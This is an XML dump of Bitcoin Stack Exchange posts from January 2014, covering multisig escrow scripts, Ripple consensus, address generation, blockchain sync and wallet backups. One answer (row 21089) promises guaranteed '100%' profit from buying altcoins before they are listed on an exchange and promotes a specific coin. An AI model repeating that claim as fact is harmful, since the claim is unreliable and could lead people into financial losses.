LastEditorUserId="2306" LastEditDate="2014-12-13T04:53:44.050" LastActivityDate="2014-12-13T04:53:44.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21055" PostTypeId="2" ParentId="18038" CreationDate="2014-01-24T07:57:30.290" Score="0" Body="&lt;p&gt;If you know a little bit of scripting and you are in Linux, you can make a simple script (using curl or wget for instance) that do exactly what you want. Check &lt;a href=&quot;http://bitcoincharts.com/about/markets-api/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; out.&lt;/p&gt;&#xA;" OwnerUserId="12249" LastActivityDate="2014-01-24T07:57:30.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21056" PostTypeId="2" ParentId="14154" CreationDate="2014-01-24T09:14:15.920" Score="1" Body="&lt;p&gt;also I think the same process is described at &lt;a href=&quot;https://multibit.org/help_importingPrivateKeys.html&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org/help_importingPrivateKeys.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it didn't work for me at first, but I changed the private key format to Bitcoin-Qt Format instead of Base58 and it worked.&lt;/p&gt;&#xA;" OwnerUserId="12629" LastActivityDate="2014-01-24T09:14:15.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21057" PostTypeId="1" AcceptedAnswerId="23299" CreationDate="2014-01-24T11:01:14.773" Score="12" ViewCount="1860" Body="&lt;p&gt;Several months ago I've stumbled an interesting question about the Ripple system: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7550/how-does-ripple-solve-the-double-spend-problem&quot;&gt;How does Ripple solve the double-spend problem?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically about how double-spending is solved in Ripple. As you can see only @David Schwartz replied to my comments and only he was able to give an answer, given that I think he works for Ripple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if he's right, this would be revolutionary in a way, since Bitcoin electricity wasting mining could be replaced by this system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, my question is: can Bitcoin mining be replaced by a Ripple sort of system? How would that work?&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2016-03-11T15:10:33.690" Title="Bitcoin without mining" Tags="|ripple|doublespend|proof-of-work|consensus|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21058" PostTypeId="1" AcceptedAnswerId="21068" CreationDate="2014-01-24T11:04:53.070" Score="5" ViewCount="465" Body="&lt;p&gt;Can someone please explain the third (Escrow) output transaction listed here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/09dd94f2c85262173da87a745a459007bb1eed6eeb6bfa238a0cd91a16cf7790?show_adv=true&quot; rel=&quot;noreferrer&quot;&gt;https://blockchain.info/tx/09dd94f2c85262173da87a745a459007bb1eed6eeb6bfa238a0cd91a16cf7790?show_adv=true&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What the exact intention and the expected result ? &lt;/p&gt;&#xA;" OwnerUserId="7433" LastActivityDate="2014-01-24T15:32:47.323" Title="Escrow multisig output tx" Tags="|multi-signature|escrow|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21059" PostTypeId="2" ParentId="21052" CreationDate="2014-01-24T11:47:02.090" Score="4" Body="&lt;p&gt;Bitcoin has a scripting engine already. At this time only a limited number of features in it are used, such as those for standard transactions. Other features are unused but can be developed upon and some, disabled (though could be reintegrated later).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solutions are already present which build on top of Bitcoin or other such coins to provide smart contracts, m of n transactions, programmable features and more for those who want to use more advanced scripting features which bitcoin would be unable to support. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The currently most fully featured example of this is Open Transactions (&lt;a href=&quot;http://opentransactions.org/&quot; rel=&quot;nofollow&quot;&gt;http://opentransactions.org/&lt;/a&gt;). It is also token-less in the sense there are no &quot;coins&quot; being minted in the use of the application keeping it pure. &lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="33" LastEditDate="2014-01-24T13:10:57.283" LastActivityDate="2014-01-24T13:10:57.283" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21060" PostTypeId="2" ParentId="21052" CreationDate="2014-01-24T11:54:43.920" Score="4" Body="&lt;p&gt;The scripting engine in Bitcoin is not turing complete on purpose. The reason this was done is that it enables a static analysis of the scripts in transactions and facilitates discarding transactions with scripts that would for example run indefinitely, consuming resources at all nodes that see it (see the &lt;a href=&quot;http://en.wikipedia.org/wiki/Halting_problem&quot; rel=&quot;nofollow&quot;&gt;halting problem&lt;/a&gt; for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said it is certainly possible to increase the expressiveness of the scripting language by incrementally adding new opcodes. In order to avoid a hard-fork where transactions valid in one partition are not valid in another just because of the scripts used there would be a transition period after which the individual adjustments become effective. Notice however that changes to the scripting language are often very controversial and will be extensively vetted by the core developers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short: yes, you can increase the expressiveness of the scripting language, but no, you will most likely never see it becoming turing complete.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2014-01-24T11:54:43.920" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21062" PostTypeId="2" ParentId="21027" CreationDate="2014-01-24T12:41:49.190" Score="4" Body="&lt;p&gt;I usually use the following analogy to oversimplify things: The secret key is how far you walk along a known curve starting from a known point and the public point is where on the curve you wind up when you finish. If you repeat the same walk, you will always wind up at the same place. The operation is irreversible because the curve is complex, you can only figure out where you wind up by taking steps. Given a destination, you cannot figure out how to get there because you must walk in integer steps.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2014-01-27T01:11:16.323" LastActivityDate="2014-01-27T01:11:16.323" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21063" PostTypeId="2" ParentId="20911" CreationDate="2014-01-24T12:57:54.347" Score="1" Body="&lt;p&gt;Probably chromawallet is the more advanced implementation. &lt;a href=&quot;http://chromawallet.com/&quot; rel=&quot;nofollow&quot;&gt;http://chromawallet.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think people are only using it on testnet for now.&lt;/p&gt;&#xA;" OwnerUserId="192" LastActivityDate="2014-01-24T12:57:54.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21064" PostTypeId="2" ParentId="21022" CreationDate="2014-01-24T13:10:00.413" Score="0" Body="&lt;p&gt;They are not enforced.&#xA;Colored coins aware clients transfer them using some colored coins rules. If the rules are violated the coins get &quot;uncolored&quot;. But if implemented properly, your client shouldn't cause your CC to get uncolored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main problem with colors not being enforced by miners is not this potential uncoloring though, it's scalability. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, a commited utxo (&lt;a href=&quot;http://utxo.tumblr.com/&quot; rel=&quot;nofollow&quot;&gt;http://utxo.tumblr.com/&lt;/a&gt;) softfork could highly reduce the trust that SPV nodes require. Without enforcing colors, this won't work for CCs.&#xA;There's other hardfork proposals for colored coins that don't have these problems. For example, Freimarkets (&lt;a href=&quot;https://bitcointalk.org/index.php?topic=280292.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=280292.0&lt;/a&gt;) uses tags in outputs to indicate the color and miners enforce the rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main disadvantage of this approach? You need a hardfork.&#xA;But if this hardfork doesn't happen on bitcoin, it can be deployed in a merged mined chain like namecoin. The Freicoin community is willing to accept this hardfork on Freicoin and Merged Mining with Bitcoin is also planned.&#xA;But once developed, these extensions could be deployed in any bitcoin-based chain.&lt;/p&gt;&#xA;" OwnerUserId="192" LastEditorUserId="192" LastEditDate="2014-11-09T11:54:36.377" LastActivityDate="2014-11-09T11:54:36.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21065" PostTypeId="2" ParentId="21052" CreationDate="2014-01-24T13:27:13.117" Score="0" Body="&lt;p&gt;You can easily see it this way: a hardfork can occur in two ways:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;an update allows things that clients running older clients do not allow&lt;/li&gt;&#xA;&lt;li&gt;an update accidentally makes blocks or transactions that were already in the blockchain invalid&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In principle, the first problem is the easiest to solve, a hardfork will only occur when someone uses the new feature before the majority of the network has updated to the new version. So basically, it would not be smart to start using new functionality immediately, because a hardfork between new and older clients can occur. However, in a certain amount of time, the majority of the clients will be updated and the new protocol can be used in it's entirety.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second problem, however, is of a different kind. Practically, it can be solved just as easy, but it required all clients to keep track of this change so that they can explicitly only enforce the rule to new blocks. This can be done fairly easily by adding a hard-coded reference to the point at which this new feature has to be accepted to all clients. However, it's clear that this is not the kind of solution you want. If you need to hard-code these kind of things, the protocol will get cluttered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically: &lt;strong&gt;removing functionality clutters the protocol and will be avoided, while adding functionality can be adopted fairly easily as soon as the majority of the clients has been updated&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-01-24T13:27:13.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21066" PostTypeId="1" CreationDate="2014-01-24T14:30:14.750" Score="3" ViewCount="347" Body="&lt;p&gt;I want to generate a large number of bitcoin addresses to provide visitors for each transaction and I want to monitor payments to those addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I deterministically generate those large number of addresses and monitor payments to them.&lt;/p&gt;&#xA;" OwnerUserId="12596" LastActivityDate="2016-06-16T11:19:15.503" Title="How to deterministically generate large number of bitcoin addresses and monitor them" Tags="|address|address-generation|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21068" PostTypeId="2" ParentId="21058" CreationDate="2014-01-24T15:26:43.180" Score="2" Body="&lt;p&gt;Check the third output script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_1 032487c2a32f7c8d57d2a93906a6457afd00697925b0e6e145d89af6d3bca33016&#xA;02308673d16987eaa010e540901cc6fe3695e758c19f46ce604e174dac315e685a OP_2 OP_CHECKMULTISIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Essentially it's saying that in order for the transaction to be valid, the input script (scriptSig) must provide signatures for one (OP_1) of the public keys listed above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So both the owners of the private key associated with either &lt;code&gt;032487c2a32f7c8d57d2a93906a6457afd00697925b0e6e145d89af6d3bca33016&lt;/code&gt; or &lt;code&gt;02308673d16987eaa010e540901cc6fe3695e758c19f46ce604e174dac315e685a&lt;/code&gt; can validate that output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows for scenarios where you need one of multiple entities (escrows) to validate a transaction before sending it off to someone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's more info on &lt;code&gt;OP_CHECKMULTISIG&lt;/code&gt; &lt;a href=&quot;https://bitcointalk.org/index.php?topic=38903.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=38903.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2014-01-24T15:32:47.323" LastActivityDate="2014-01-24T15:32:47.323" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21069" PostTypeId="1" CreationDate="2014-01-24T16:38:04.447" Score="1" ViewCount="1007" Body="&lt;p&gt;I have been experimenting with Bitcoin and I installed Armory wallet. It told me that it would take approximately 8 hours to sync the worldwide ledger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, as Bitcoin gets more popular, will it take longer to download the ledger?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, doesn't this pose a problem - could it get to big to be feasible?&lt;/p&gt;&#xA;" OwnerUserId="12640" LastEditorUserId="5406" LastEditDate="2014-01-24T16:48:37.563" LastActivityDate="2014-01-24T17:06:05.563" Title="Armory takes 8 Hours to sync. Is it going to get worse as Bitcoin becomes more popular?" Tags="|synchronization|scalability|" AnswerCount="1" CommentCount="4" ClosedDate="2014-01-26T16:53:43.717" ContentLicense="CC BY-SA 3.0" />
  <row Id="21070" PostTypeId="2" ParentId="17063" CreationDate="2014-01-24T17:05:26.587" Score="1" Body="&lt;p&gt;Hopefully, this following quote from the &lt;a href=&quot;https://github.com/luke-jr/bfgminer/blob/bfgminer/README.CPU&quot; rel=&quot;nofollow noreferrer&quot;&gt;Github Source&lt;/a&gt; will help to shed some light on your trouble to get BFGMiner to use your CPU:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;EXECUTIVE SUMMARY ON CPU USAGE:&lt;/p&gt;&#xA;&lt;p&gt;By default, BFGMiner will NOT mine on CPUs unless it is explicitly compiled with&#xA;support and told to do so. CPU mining for bitcoin is generally considered to be&#xA;obsolete as it requires considerably more power per hash computed than either&#xA;GPU, FPGA or ASIC based mining. If you still wish to mine using CPUs you will&#xA;need to build a custom binary with support enabled (refer to the build notes in&#xA;README for further information).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The page continues to enumerate flags for the usage of BFGMiner with CPU.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2017-12-18T15:29:58.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21071" PostTypeId="2" ParentId="21069" CreationDate="2014-01-24T17:06:05.563" Score="0" Body="&lt;p&gt;The short answer would be yes, if the chain &#xA;becomes bigger it takes more time to download&#xA;it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The more detailed answer would be: there is &#xA;plenty of options to make it quicker: for&#xA;example you can download already constructed&#xA;chain from some trusted source.&lt;/p&gt;&#xA;" OwnerUserId="7433" LastActivityDate="2014-01-24T17:06:05.563" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21072" PostTypeId="2" ParentId="21066" CreationDate="2014-01-24T17:11:03.337" Score="1" Body="&lt;p&gt;One options would be a bitcoinJ - bitcoin java library. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;new ECKey().toAddress(new MainNetParams()).toString();&lt;/p&gt;&#xA;&#xA;&lt;p&gt;gives you a valid bitcoin address.&lt;/p&gt;&#xA;" OwnerUserId="7433" LastActivityDate="2014-01-24T17:11:03.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21073" PostTypeId="2" ParentId="17144" CreationDate="2014-01-24T17:18:01.077" Score="2" Body="&lt;p&gt;This should be the location of &lt;code&gt;wallet.dat&lt;/code&gt; on &lt;code&gt;MAC&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~/Library/Application Support/MultiBit/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will be able to copy this file to USB and paste it into the same location on your new MAC.&lt;/p&gt;&#xA;" OwnerUserId="6540" LastActivityDate="2014-01-24T17:18:01.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21074" PostTypeId="5" CreationDate="2014-01-24T17:44:52.330" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-01-24T17:44:52.330" LastActivityDate="2014-01-24T17:44:52.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21075" PostTypeId="4" CreationDate="2014-01-24T17:44:52.330" Score="0" Body="Abe is a free, open-source blockchain browser written in Python and SQL." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-01-25T11:52:48.883" LastActivityDate="2014-01-25T11:52:48.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21076" PostTypeId="5" CreationDate="2014-01-24T17:47:53.737" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-01-24T17:47:53.737" LastActivityDate="2014-01-24T17:47:53.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21077" PostTypeId="4" CreationDate="2014-01-24T17:47:53.737" Score="0" Body="Used for questions dealing with the adoption of cryptocurrencies." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-01-25T11:52:36.210" LastActivityDate="2014-01-25T11:52:36.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21078" PostTypeId="1" CreationDate="2014-01-24T18:00:02.177" Score="1" ViewCount="398" Body="&lt;p&gt;Here is an example of multisig tx&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/09dd94f2c85262173da87a745a459007bb1eed6eeb6bfa238a0cd91a16cf7790?show_adv=true&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/09dd94f2c85262173da87a745a459007bb1eed6eeb6bfa238a0cd91a16cf7790?show_adv=true&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the 3rd one output is 1 of 2 keys. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is what is going to happen if &#xA;both addresses will try to spend that transaction ? &lt;/p&gt;&#xA;" OwnerUserId="7433" LastActivityDate="2014-02-23T02:08:24.863" Title="multisig tx 1 out of 2" Tags="|multi-signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21080" PostTypeId="5" CreationDate="2014-01-24T18:23:29.813" Score="0" Body="&lt;p&gt;RonPaulCoin uses Scrypt (like Litecoin). It is a Litecoin clone that only differs in the specifications:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Limit: 2.1 Million&lt;/li&gt;&#xA;&lt;li&gt;Block time: 2 minutes&lt;/li&gt;&#xA;&lt;li&gt;Reward schedule: 1 RPC per block, halving every four years.&lt;/li&gt;&#xA;&lt;li&gt;Difficulty retargeting: Every 48 blocks (~96 minutes) with a maximum difficulty shift of 11%.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-01-26T11:06:54.927" LastActivityDate="2014-01-26T11:06:54.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21081" PostTypeId="4" CreationDate="2014-01-24T18:23:29.813" Score="0" Body="RonPaulCoin is a Scrypt-based crypto currency." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-01-26T11:07:03.240" LastActivityDate="2014-01-26T11:07:03.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21082" PostTypeId="2" ParentId="20749" CreationDate="2014-01-24T18:47:42.903" Score="4" Body="&lt;p&gt;While multi-signature transactions with a trusted party (e.g Kickstarter Inc.) would work, their disadvantage is requiring said trusted party...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts#Example_3%3a_Assurance_contracts&quot; rel=&quot;nofollow&quot;&gt;The bitcoin wiki&lt;/a&gt; describes a different method that doesn't require any third party:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Each backer creates a transaction with the amount to be pledged (this is an immediate step and required since the method doesn't allow for &lt;a href=&quot;/questions/tagged/change&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;change&amp;#39;&quot; rel=&quot;tag&quot;&gt;change&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;That transaction is used as input signed with &lt;code&gt;SIGHASH_ALL | SIGHASH_ANYONECANPAY&lt;/code&gt;, and the output is the to-be-funded address with the &lt;em&gt;funding goal&lt;/em&gt;. Due to the input being less than the output, this transaction is invalid and shall not be published but instead transmitted to the recipient.&lt;/li&gt;&#xA;&lt;li&gt;Once the recipient received enough transactions summing up to the funding goal, they can publish the assembled transaction&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, this method has other drawbacks:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The funding goal must be exactly met (or a multiple of it), i.e. there cannot be stretch goals or overfunding&lt;/li&gt;&#xA;&lt;li&gt;Since the input transactions are not spent until the funding is complete, the backers might accidentally spend that very transaction in another transaction&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Ideally, &lt;a href=&quot;/questions/tagged/script&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;script&amp;#39;&quot; rel=&quot;tag&quot;&gt;script&lt;/a&gt; would provide means to determine whether a given bitcoin address (or in this case, the script itself) currently has &lt;em&gt;at least&lt;/em&gt; a given amount of bitcoins available...&lt;/p&gt;&#xA;" OwnerUserId="1137" LastActivityDate="2014-01-24T18:47:42.903" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21083" PostTypeId="1" AcceptedAnswerId="21086" CreationDate="2014-01-24T18:51:42.823" Score="3" ViewCount="232" Body="&lt;p&gt;Given e.g. one lost the private key to a specific bitcoin address, is there any way to make sure no more bitcoins can be transferred to it since it effectively became a bitcoin-furnace?&lt;/p&gt;&#xA;" OwnerUserId="1137" LastActivityDate="2014-01-24T18:58:12.830" Title="Is there any way to &quot;revoke&quot; a bitcoin address?" Tags="|address|private-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21084" PostTypeId="5" CreationDate="2014-01-24T18:52:05.720" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-01-24T18:52:05.720" LastActivityDate="2014-01-24T18:52:05.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21085" PostTypeId="4" CreationDate="2014-01-24T18:52:05.720" Score="0" Body="Scalability refers to the capability of a system or network to cope with growing adoption and workload." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-12-02T00:04:45.513" LastActivityDate="2016-12-02T00:04:45.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21086" PostTypeId="2" ParentId="21083" CreationDate="2014-01-24T18:58:12.830" Score="3" Body="&lt;p&gt;Unfortunately, there is no way to do any such thing. Your only option is to manually inform any business partners that the address has fallen out of use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the only way to proof indubitably that you were the owner of said address would be to sign a message with the respective private key, I don't see how anyone could justifiably shut down an address.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-01-24T18:58:12.830" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21087" PostTypeId="1" AcceptedAnswerId="21092" CreationDate="2014-01-24T19:07:14.680" Score="10" ViewCount="2864" Body="&lt;p&gt;From my understanding of Bitcoin, it operates on a P2P network. Having just downloaded a wallet app, I see it is connected to 6 peers. Does the Bitcoin protocol rely on trusting these peers? What does it mean if these 6 peers turn out to be fake, and I'm part of a 'micro-economy' rather than Bitcoin proper?&lt;/p&gt;&#xA;" OwnerUserId="5766" LastEditorUserId="5406" LastEditDate="2014-08-12T12:49:27.343" LastActivityDate="2014-08-12T12:49:27.343" Title="Can I trust the peers I am connected to?" Tags="|security|protocol|network|sybil-attack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21088" PostTypeId="1" CreationDate="2014-01-24T19:43:37.003" Score="1" ViewCount="1503" Body="&lt;p&gt;I have a dogecoin (though should be similar to bitcoin/altcoins) wallet and I encrypted and backed up my wallet.dat file to a few different places (different cloud providers). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, assuming I never create a completely new wallet, do I ever need to update the wallet.dat file that I have backed up? &lt;/p&gt;&#xA;" OwnerUserId="9512" LastActivityDate="2014-01-24T20:27:15.310" Title="If I backup my wallet.dat once, am I forever safe?" Tags="|wallet|backup|wallet.dat|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21089" PostTypeId="2" ParentId="14188" CreationDate="2014-01-24T19:50:41.897" Score="0" Body="&lt;p&gt;&lt;strong&gt;You really should start to mine new alt-coin !!!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at my experience. I've mine ppcoin in merge pool for long period in 2012. I've got around 100k ppcoins. And I've sold it for month after mining. Not a big deal, 1-2 BTC for that time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now look at the price of ppcoin: 0.005 BTC, I may get 500 BTC today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are 100 alt-coins with the same algo &lt;code&gt;sha256&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another example, from current state: There was price 1 Satoshi 0.0000 0001 for the MOON coin ( scrypt ). It has been added to cryptsy, and now its price is 28 Satoshi. You can buy alt-coin before it will be added to cryptsy and in 100% get profit. In MOON scenario it is 2800 %. It is rocket! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You better take your hands and start to lurking for new potential good alt-coins with &lt;code&gt;sha256&lt;/code&gt; algo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. You can't get luck in solo with current &lt;code&gt;sha256&lt;/code&gt; alt-coins, check the pools, there is already great amount of asics. 99% of &lt;code&gt;sha256&lt;/code&gt; coins very rapidly come to the market. Because it is very easy to add similar coin to one bin.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;github.com/zetacoin/zetacoin.git &lt;/li&gt;&#xA;&lt;li&gt;github.com/bryan-mills/bytecoin.git&lt;/li&gt;&#xA;&lt;li&gt;github.com/terracoin/terracoin.git&lt;/li&gt;&#xA;&lt;li&gt;github.com/freicoin/freicoin/ &lt;/li&gt;&#xA;&lt;li&gt;github.com/asiccoin/asiccoin.git &lt;/li&gt;&#xA;&lt;li&gt;github.com/Nameshar/Noirbits.git &lt;/li&gt;&#xA;&lt;li&gt;github.com/tigercoin/tigercoin.git &lt;/li&gt;&#xA;&lt;li&gt;github.com/Unthinkingbit/groupcoin&lt;/li&gt;&#xA;&lt;li&gt;github.com/r3wt/OSC&lt;/li&gt;&#xA;&lt;li&gt;github.com/joulecoin/joulecoin.git &lt;/li&gt;&#xA;&lt;li&gt;github.com/maxxine/Tekcoin &lt;/li&gt;&#xA;&lt;li&gt;github.com/thegreatoldone/Unobtanium.git&lt;/li&gt;&#xA;&lt;li&gt;github.com/emarkproject/DEM.git&lt;/li&gt;&#xA;&lt;li&gt;github.com/jmsanto123/NaanaYaM.git&lt;/li&gt;&#xA;&lt;li&gt;github.com/chronokings/huntercoin &lt;/li&gt;&#xA;&lt;li&gt;github.com/snowcoin/snowcoin &lt;/li&gt;&#xA;&lt;li&gt;github.com/Sphere2013/GlobeCrypto&lt;/li&gt;&#xA;&lt;li&gt;github.com/NKAKoin/IncaKoin &lt;/li&gt;&#xA;&lt;li&gt;github.com/chicoin/chicoin &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Every this coin you might start to mine with your block erupter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But! Better, start to lurking for newest one, that have great Idea in the ground:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Fast block ( e.g. 30 seconds )&lt;/li&gt;&#xA;&lt;li&gt;Dynamical difficulty ( unkillable alt-coins )&lt;/li&gt;&#xA;&lt;li&gt;Cool name ( e.g. MOON, see like it flew )&lt;/li&gt;&#xA;&lt;li&gt;Not yet added to the crypty ( ! ! ! ) ( it is optional )&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Look at this super new alt-coin: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=423523.msg4608890#msg4608890&quot; rel=&quot;nofollow&quot;&gt;Titcoin [TIT]&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you can hold your portfolio for the long period, e.g. half of year, you might meet the same situation that I observe with ppcoin, now. ( 500 BTC ~ half of million USD, just for merge mining. I didn't aim to this alt-coin ever, just mine this alt-coin by the way and sell, and lose this game... )&lt;/p&gt;&#xA;" OwnerUserId="12645" LastActivityDate="2014-01-24T19:50:41.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21090" PostTypeId="2" ParentId="21088" CreationDate="2014-01-24T19:51:46.830" Score="-1" Body="&lt;p&gt;Your question is pretty confusing, I cannot figure out whether you are asking in context to security or you are asking about the network synchronization if its the later one then the wallet has nothing to do with the network synchronization its the blkindex files which synchronize with the network. Do not keep your wallet with cloud servers there is a high risk of being hacked keep your wallet in a safe place may be a computer which is not often used. &lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-01-24T19:51:46.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
